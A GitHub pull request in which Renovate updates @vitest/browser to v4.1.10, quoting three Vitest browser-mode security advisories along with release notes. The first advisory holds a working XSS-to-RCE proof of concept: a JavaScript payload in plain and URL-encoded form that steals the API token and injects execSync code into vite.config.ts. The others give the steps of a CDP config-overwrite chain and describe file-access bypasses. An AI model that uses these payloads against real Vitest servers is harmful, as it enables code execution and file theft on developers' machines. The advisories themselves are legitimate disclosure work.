chore(deps): update dependency @vitest/browser to v4.1.10 [security] by renovate[bot] · Pull Request #121 · Sec-ant/readable-stream

renovate · 2026-06-01T22:16:00Z

This PR contains the following updates:

Package	Change	Age	Confidence
@vitest/browser (source)	`4.1.5` → `4.1.10`

Vitest browser mode serves unsanitized otelCarrier query parameter as inline script

CVE-2026-47428 / GHSA-2h32-95rg-cppp

More information

Details

Summary

Vitest browser mode served /__vitest_test__/ with the otelCarrier query parameter inserted directly into an inline module script. Because this value was treated as JavaScript source rather than data, an attacker could craft a browser-runner URL that executes arbitrary JavaScript in the Vitest server origin.

https://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/node/serverOrchestrator.ts#L48

https://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/client/public/esm-client-injector.js#L41

The same generated page embeds VITEST_API_TOKEN, which is used to authenticate Vitest WebSocket APIs. Script execution in this origin can therefore recover the token and make authenticated API calls.

Impact

This issue affects users running Vitest browser mode. A victim must open or navigate to a crafted Vitest browser-runner URL while the Vitest browser server is running.

In the default local browser-mode setup, the token compromise can be chained to server-side code execution. A confirmed proof of concept used the authenticated browser API to write a payload into vite.config.ts. Vitest/Vite then reloaded the config, executing the injected config code in Node.

This is related in impact to GHSA-9crc-q9x8-hgqq: that advisory covered unauthenticated cross-site WebSocket access to Vitest APIs, while this issue uses reflected same-origin script execution to recover the API token that protects those APIs.

Proof of Concept

XSS

For a concrete reproduction, start browser mode in watch mode using the official Lit example:

pnpm dlx tiged vitest-dev/vitest/examples/lit vitest-poc
cd vitest-poc
pnpm install
pnpm test

By default, Vitest serves the browser runner HTML and WebSocket API at http://localhost:63315.

Open the following URL:

http://localhost:63315/__vitest_test__/?otelCarrier=(alert(%22xss%20via%20otelCarrier%22)%2Cnull)

The otelCarrier query value is inserted into the generated inline module script as JavaScript source:

otelCarrier: (alert("xss via otelCarrier"),null),

Loading the page triggers the alert, confirming reflected script execution in the Vitest browser runner origin.

RCE via config write

A full local RCE proof can use the same injection point to recover window.VITEST_API_TOKEN, connect to /__vitest_browser_api__, and call triggerCommand("writeFile", ...) to modify the local vite.config.ts.

The PoC preserves the original config and prepends a Node-side payload. When Vitest/Vite reloads the changed config, the payload executes in Node.

This PoC imports flatted from a CDN to keep the payload compact.

Example script and encoded URL

(setTimeout(async()=>{
  const s = window.__vitest_browser_runner__
  const { stringify, parse } = await import('https://cdn.jsdelivr.net/npm/flatted@3.3.2/+esm')
  const p = location.protocol === 'https:' ? 'wss:' : 'ws:'
  const q = 'type=orchestrator&rpcId=poc-' + Date.now()
    + '&sessionId=' + encodeURIComponent(s.sessionId)
    + '&projectName=' + encodeURIComponent(s.config.name || '')
    + '&method=' + encodeURIComponent(s.method)
    + '&token=' + encodeURIComponent(window.VITEST_API_TOKEN || '0')

  const ws = new WebSocket(p + '//' + location.host + '/__vitest_browser_api__?' + q)
  const pending = new Map()

  function call(m, a = []) {
    const i = crypto.randomUUID()
    ws.send(stringify({ t: 'q', i, m, a }))
    return new Promise((resolve, reject) => {
      pending.set(i, { resolve, reject })
    })
  }

  ws.onmessage = (event) => {
    const message = parse(event.data)
    const promise = pending.get(message.i)
    if (!promise) {
      return
    }
    pending.delete(message.i)
    if (message.e) {
      promise.reject(message.e)
    }
    else {
      promise.resolve(message.r)
    }
  }

  ws.onopen = async () => {
    const configPath = 'vite.config.ts'
    const original = await call('triggerCommand', [
      s.sessionId,
      'readFile',
      configPath,
      [configPath, 'utf-8'],
    ])

    const injected = `
import("node:child_process").then(lib => {
  lib.execSync('touch ./rce-poc')
  console.log('RCE success')
})
`
    await call('triggerCommand', [
      s.sessionId,
      'writeFile',
      configPath,
      [configPath, injected + original],
    ])

    alert('POC: vite.config.ts modified to trigger RCE on config reload')
  }

  ws.onerror = () => alert('POC: browser api websocket failed')
},0),null)

The following URL is the same script encoded as the otelCarrier query value:

http://localhost:63315/__vitest_test__/?otelCarrier=(setTimeout(async()%3D%3E%7B%0A%20%20const%20s%20%3D%20window.__vitest_browser_runner__%0A%20%20const%20%7B%20stringify%2C%20parse%20%7D%20%3D%20await%20import('https%3A%2F%2Fcdn.jsdelivr.net%2Fnpm%2Fflatted%403.3.2%2F%2Besm')%0A%20%20const%20p%20%3D%20location.protocol%20%3D%3D%3D%20'https%3A'%20%3F%20'wss%3A'%20%3A%20'ws%3A'%0A%20%20const%20q%20%3D%20'type%3Dorchestrator%26rpcId%3Dpoc-'%20%2B%20Date.now()%0A%20%20%20%20%2B%20'%26sessionId%3D'%20%2B%20encodeURIComponent(s.sessionId)%0A%20%20%20%20%2B%20'%26projectName%3D'%20%2B%20encodeURIComponent(s.config.name%20%7C%7C%20'')%0A%20%20%20%20%2B%20'%26method%3D'%20%2B%20encodeURIComponent(s.method)%0A%20%20%20%20%2B%20'%26token%3D'%20%2B%20encodeURIComponent(window.VITEST_API_TOKEN%20%7C%7C%20'0')%0A%0A%20%20const%20ws%20%3D%20new%20WebSocket(p%20%2B%20'%2F%2F'%20%2B%20location.host%20%2B%20'%2F__vitest_browser_api__%3F'%20%2B%20q)%0A%20%20const%20pending%20%3D%20new%20Map()%0A%0A%20%20function%20call(m%2C%20a%20%3D%20%5B%5D)%20%7B%0A%20%20%20%20const%20i%20%3D%20crypto.randomUUID()%0A%20%20%20%20ws.send(stringify(%7B%20t%3A%20'q'%2C%20i%2C%20m%2C%20a%20%7D))%0A%20%20%20%20return%20new%20Promise((resolve%2C%20reject)%20%3D%3E%20%7B%0A%20%20%20%20%20%20pending.set(i%2C%20%7B%20resolve%2C%20reject%20%7D)%0A%20%20%20%20%7D)%0A%20%20%7D%0A%0A%20%20ws.onmessage%20%3D%20(event)%20%3D%3E%20%7B%0A%20%20%20%20const%20message%20%3D%20parse(event.data)%0A%20%20%20%20const%20promise%20%3D%20pending.get(message.i)%0A%20%20%20%20if%20(!promise)%20%7B%0A%20%20%20%20%20%20return%0A%20%20%20%20%7D%0A%20%20%20%20pending.delete(message.i)%0A%20%20%20%20if%20(message.e)%20%7B%0A%20%20%20%20%20%20promise.reject(message.e)%0A%20%20%20%20%7D%0A%20%20%20%20else%20%7B%0A%20%20%20%20%20%20promise.resolve(message.r)%0A%20%20%20%20%7D%0A%20%20%7D%0A%0A%20%20ws.onopen%20%3D%20async%20()%20%3D%3E%20%7B%0A%20%20%20%20const%20configPath%20%3D%20'vite.config.ts'%0A%20%20%20%20const%20original%20%3D%20await%20call('triggerCommand'%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20'readFile'%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20'utf-8'%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20const%20injected%20%3D%20%60%0Aimport(%22node%3Achild_process%22).then(lib%20%3D%3E%20%7B%0A%20%20lib.execSync('touch%20.%2Frce-poc')%0A%20%20console.log('RCE%20success')%0A%7D)%0A%60%0A%20%20%20%20await%20call('triggerCommand'%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20'writeFile'%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20injected%20%2B%20original%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20alert('POC%3A%20vite.config.ts%20modified%20to%20trigger%20RCE%20on%20config%20reload')%0A%20%20%7D%0A%0A%20%20ws.onerror%20%3D%20()%20%3D%3E%20alert('POC%3A%20browser%20api%20websocket%20failed')%0A%7D%2C0)%2Cnull)

Severity

CVSS Score: 9.6 / 10 (Critical)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Vitest Browser: Exposed Browser Mode API Can Proxy CDP and Overwrite Config Files, Leading to RCE

CVE-2026-53633 / GHSA-g8mr-85jm-7xhm

More information

Details

Summary

Vitest Browser Mode exposes a cdp() API that forwards raw Chrome DevTools Protocol (CDP) methods over the Vitest browser WebSocket RPC. CDP is not gated by browser.api.allowWrite, browser.api.allowExec, api.allowWrite, or api.allowExec.

As a result, disabling Browser Mode write and exec operations does not prevent a browser API client from using CDP to perform equivalent actions. In a verified reproduction with allowWrite: false and allowExec: false, CDP Page.setDownloadBehavior set the browser download directory to the project root, and CDP Runtime.evaluate downloaded a controlled vite.config.ts. Vitest reloaded the changed config and executed attacker-controlled Node.js code.

When the Browser Mode API is also exposed to the network, this becomes remotely exploitable because the generated browser runner page exposes the API token, active session id, project name, and project root path needed to connect to the browser WebSocket API and select the target download directory.

Impact

This affects Browser Mode projects using a CDP-capable provider, such as Playwright Chromium, when the browser API server is exposed to the network, for example with --browser.api.host=0.0.0.0.

In this mode Vitest warns that write and exec operations are disabled by default, but the generated browser runner page exposes enough metadata for a remote client to authenticate to the browser WebSocket API while an active session exists. This includes the browser API token, active session id, project name, and serialized test config including the project root path. The attacker can then call Vitest's CDP RPC and use Chrome's download controls to overwrite vite.config.ts in the project root. When Vitest reloads the changed config, attacker-controlled Node.js code executes on the host running Vitest.

The same exposed CDP bridge also allows direct browser-session JavaScript execution through Runtime.evaluate. A separate local probe showed that CDP can navigate the browser to a file:// URL and read rendered file contents, but the primary verified impact is config-file overwrite leading to RCE.

Reproduction

For a concrete reproduction, start Browser Mode in watch mode using the official Lit example:

pnpm dlx tiged vitest-dev/vitest/examples/lit vitest-poc
cd vitest-poc
pnpm install

Configure the Browser Mode API to listen on all interfaces while explicitly disabling write and exec operations:

import { playwright } from '@&#8203;vitest/browser-playwright'
import { defineConfig } from 'vite'

export default defineConfig({
  test: {
    browser: {
      enabled: true,
      provider: playwright(),
      instances: [
        { browser: 'chromium' },
      ],
      api: {
        host: '0.0.0.0',
        allowWrite: false,
        allowExec: false,
      },
    },
  },
})

Then start the test server:

pnpm test

Vitest serves the browser runner HTML and WebSocket API at http://localhost:63315.

While the browser session is active:

Fetch the generated browser runner page:

http://localhost:63315/__vitest_test__/

Extract the embedded browser API token, active session id, project name, and project root:
- window.VITEST_API_TOKEN
- __vitest_browser_runner__.sessionId
- __vitest_browser_runner__.config.name
- __vitest_browser_runner__.config.root

Connect to the browser API WebSocket as a tester client:

/__vitest_browser_api__?type=tester&rpcId=<fresh-id>&sessionId=<session-id>&projectName=<project-name>&method=none&token=<token>

Call the sendCdpEvent RPC method with:

Page.setDownloadBehavior({
  behavior: "allow",
  downloadPath: __vitest_browser_runner__.config.root
})

Call sendCdpEvent again with Runtime.evaluate. The evaluated JavaScript creates a Blob containing a malicious Vite config and clicks an anchor element <a download="vite.config.ts">.
Observed result:
- vite.config.ts is overwritten with attacker-controlled content.
- Vitest reloads the changed config.
- The injected Node.js payload runs on the host.

Severity

CVSS Score: 9.8 / 10 (Critical)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

@vitest/browser: Browser Mode provider commands bypass the file-access permission gate

GHSA-p63j-vcc4-9vmv

More information

Details

Summary

Browser Mode exposes a set of built-in "commands" that run on the Node.js side of the test runner and can touch the local filesystem (taking screenshots, managing Playwright traces, uploading files for <input type="file">, comparing screenshots).

Several of these commands accept a file path from the browser and act on it without checking the allowWrite permission gate and without confining the path to the project directory. A client that can reach the Browser Mode API can therefore read, create, overwrite, or delete files anywhere the Vitest process can access, even when allowWrite is false.

This matters most when the Browser Mode API is exposed to the network (for example test.api.host is set, or the dev server is reachable from another machine or origin). In that configuration allowWrite defaults to false precisely to block file access, and these commands bypass that protection. On a default localhost-only setup with trusted test code, there is no untrusted party in a position to exploit it. The gap still matters wherever you rely on allowWrite: false to contain untrusted test code, because these commands ignore that flag.

Affected commands and impact

Command	Operation	Impact
`upload` (Playwright + WebdriverIO)	Read	Arbitrary local file read; contents are loaded into the page and readable by test code. Highest-impact case.
`takeScreenshot` (Playwright + WebdriverIO)	Write	Writes a PNG to an arbitrary path (absolute path used verbatim), creating parent directories.
`screenshotMatcher`	Write	Writes reference/diff PNGs; directory derived from client path allows partial traversal.
`stopChunkTrace`	Write	Writes a Playwright trace `.zip` to a path escapable via `../` in the trace name.
`deleteTracing`	Delete	Deletes arbitrary files by path.
`annotateTraces`	Read (disclosure)	Records a client-controlled attachment path that the reporter copies into the attachments directory, disclosing file contents.

The writes do not let an attacker choose the file contents (they produce PNG images or trace archives), so the integrity impact is creating, overwriting, or deleting a file at an arbitrary path rather than writing a chosen payload. The reads (upload, annotateTraces) are more serious because they expose the full contents of an arbitrary file.

The fix adds, to every file-touching provider command, an allowWrite check for write/delete operations and path confinement to the project root (matching the existing fs command pattern), so client-supplied absolute paths and ../ traversal are rejected.

Severity

CVSS Score: 9.4 / 10 (Critical)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

vitest-dev/vitest (@vitest/browser)

`v4.1.10`

Compare Source

🐞 Bug Fixes

browser: Check fs access in builtin commands [backport to v4] - by @hi-ogawa, Hiroshi Ogawa and OpenCode (claude-opus-4-8) in #10680 (5c18d)
vm: Fix external module resolve error with deps optimizer query for encoded URI [backport to v4] - by @SveLil and @hi-ogawa in #10661 (bae52)

View changes on GitHub

`v4.1.9`

Compare Source

🐞 Bug Fixes

Fix importOriginal with optimizer and query import [backport to v4] - by Hiroshi Ogawa, David Harris, Codexand Vladimir in #10546 (a5180)
browser:
- Wait for orchestrator readiness before resolving browser sessions [backport to v4] - by Vladimir and Séamus O'Connor in #10555 (7fb29)
- Wait for iframe tester readiness before preparing [backport to v4] - by Vladimir and Séamus O'Connor in #10497 and #10556 (fbc62)
mocker:
- Hoist vi.mock() for vite-plus/test imports [backport to v4] - by Hiroshi Ogawa, LongYinan, Claude Opus 4.8 and Vladimir in #10548 (2c955)
pool:
- Prevent test run hang on worker crash [backport to v4] - by Ari Perkkiö and Jattioui Ismail in #10543 and #10564 (934b0)

View changes on GitHub

`v4.1.8`

Compare Source

🐞 Bug Fixes

browser:
- Disable client cdp API when allowWrite/allowExec: false [backport to v4] - by @hi-ogawa and Codex in #10450 (e4067)
- Remove orphaned Playwright route when same module is mocked via multiple ids [backport to v4] - by @toxik and @Zelys-DFKH in #10474 (675b4)

View changes on GitHub

`v4.1.7`

Compare Source

🐞 Bug Fixes

runner: Limit concurrency per task branch in addition to per leaf callbacks (backport) - by @hi-ogawa in #10384 (4f0f2)

View changes on GitHub

`v4.1.6`

Compare Source

🐞 Bug Fixes

browser: Provide project reference in ToMatchScreenshotResolvePath - by @macarie and @sheremet-va in #10138 (31882)
Global sequence.concurrent: true with top-level test(..., { concurrent: false }) + depreacte sequential test API and options - by @hi-ogawa, Codex and @sheremet-va in #10196 (2847d)
browser: Simplify orchestrator otel carrier - by @hi-ogawa in #10285 (18af9)

🏎 Performance

Stringify diff objects only once - by @sheremet-va in #10276 (9f7b1)

View changes on GitHub

Configuration

📅 Schedule: (in timezone Asia/Shanghai)

Branch creation
- At any time (no schedule defined)
Automerge
- At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

changeset-bot · 2026-06-01T22:16:06Z

⚠️ No Changeset found

Latest commit: b3181af

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

This PR includes no changesets

When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR

pkg-pr-new · 2026-07-12T15:40:31Z

Open in StackBlitz

npm i https://pkg.pr.new/@sec-ant/readable-stream@121

commit: b3181af

renovate Bot force-pushed the renovate/npm-vitest-browser-vulnerability branch 2 times, most recently from bb1a314 to f4e30f0 Compare June 16, 2026 08:13

renovate Bot changed the title ~~chore(deps): update dependency @vitest/browser to v4.1.6 [security]~~ chore(deps): update dependency @vitest/browser to v4.1.8 [security] Jun 16, 2026

renovate Bot force-pushed the renovate/npm-vitest-browser-vulnerability branch from f4e30f0 to 82b57ed Compare July 12, 2026 15:39

renovate Bot force-pushed the renovate/npm-vitest-browser-vulnerability branch 2 times, most recently from c7ad410 to a3c5ede Compare July 20, 2026 22:44

chore(deps): update dependency @vitest/browser to v4.1.10 [security]

b3181af

renovate Bot changed the title ~~chore(deps): update dependency @vitest/browser to v4.1.8 [security]~~ chore(deps): update dependency @vitest/browser to v4.1.10 [security] Jul 23, 2026

renovate Bot force-pushed the renovate/npm-vitest-browser-vulnerability branch from a3c5ede to b3181af Compare July 23, 2026 21:52

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

chore(deps): update dependency @vitest/browser to v4.1.10 [security]#121

chore(deps): update dependency @vitest/browser to v4.1.10 [security]#121
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-vitest-browser-vulnerability

renovate Bot commented Jun 1, 2026 •

edited

Loading

Uh oh!

changeset-bot Bot commented Jun 1, 2026 •

edited

Loading

Uh oh!

pkg-pr-new Bot commented Jul 12, 2026 •

edited

Loading

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

Conversation

renovate Bot commented Jun 1, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Vitest browser mode serves unsanitized otelCarrier query parameter as inline script

Details

Summary

Impact

Proof of Concept

XSS

RCE via config write

Severity

References

Vitest Browser: Exposed Browser Mode API Can Proxy CDP and Overwrite Config Files, Leading to RCE

Details

Summary

Impact

Reproduction

Severity

References

@​vitest/browser: Browser Mode provider commands bypass the file-access permission gate

Details

Summary

Affected commands and impact

Severity

References

Release Notes

🐞 Bug Fixes

🐞 Bug Fixes

🐞 Bug Fixes

🐞 Bug Fixes

🐞 Bug Fixes

🏎 Performance

Configuration

Uh oh!

changeset-bot Bot commented Jun 1, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

⚠️ No Changeset found

Uh oh!

pkg-pr-new Bot commented Jul 12, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

renovate Bot commented Jun 1, 2026 •

edited

Loading

@vitest/browser: Browser Mode provider commands bypass the file-access permission gate

changeset-bot Bot commented Jun 1, 2026 •

edited

Loading

pkg-pr-new Bot commented Jul 12, 2026 •

edited

Loading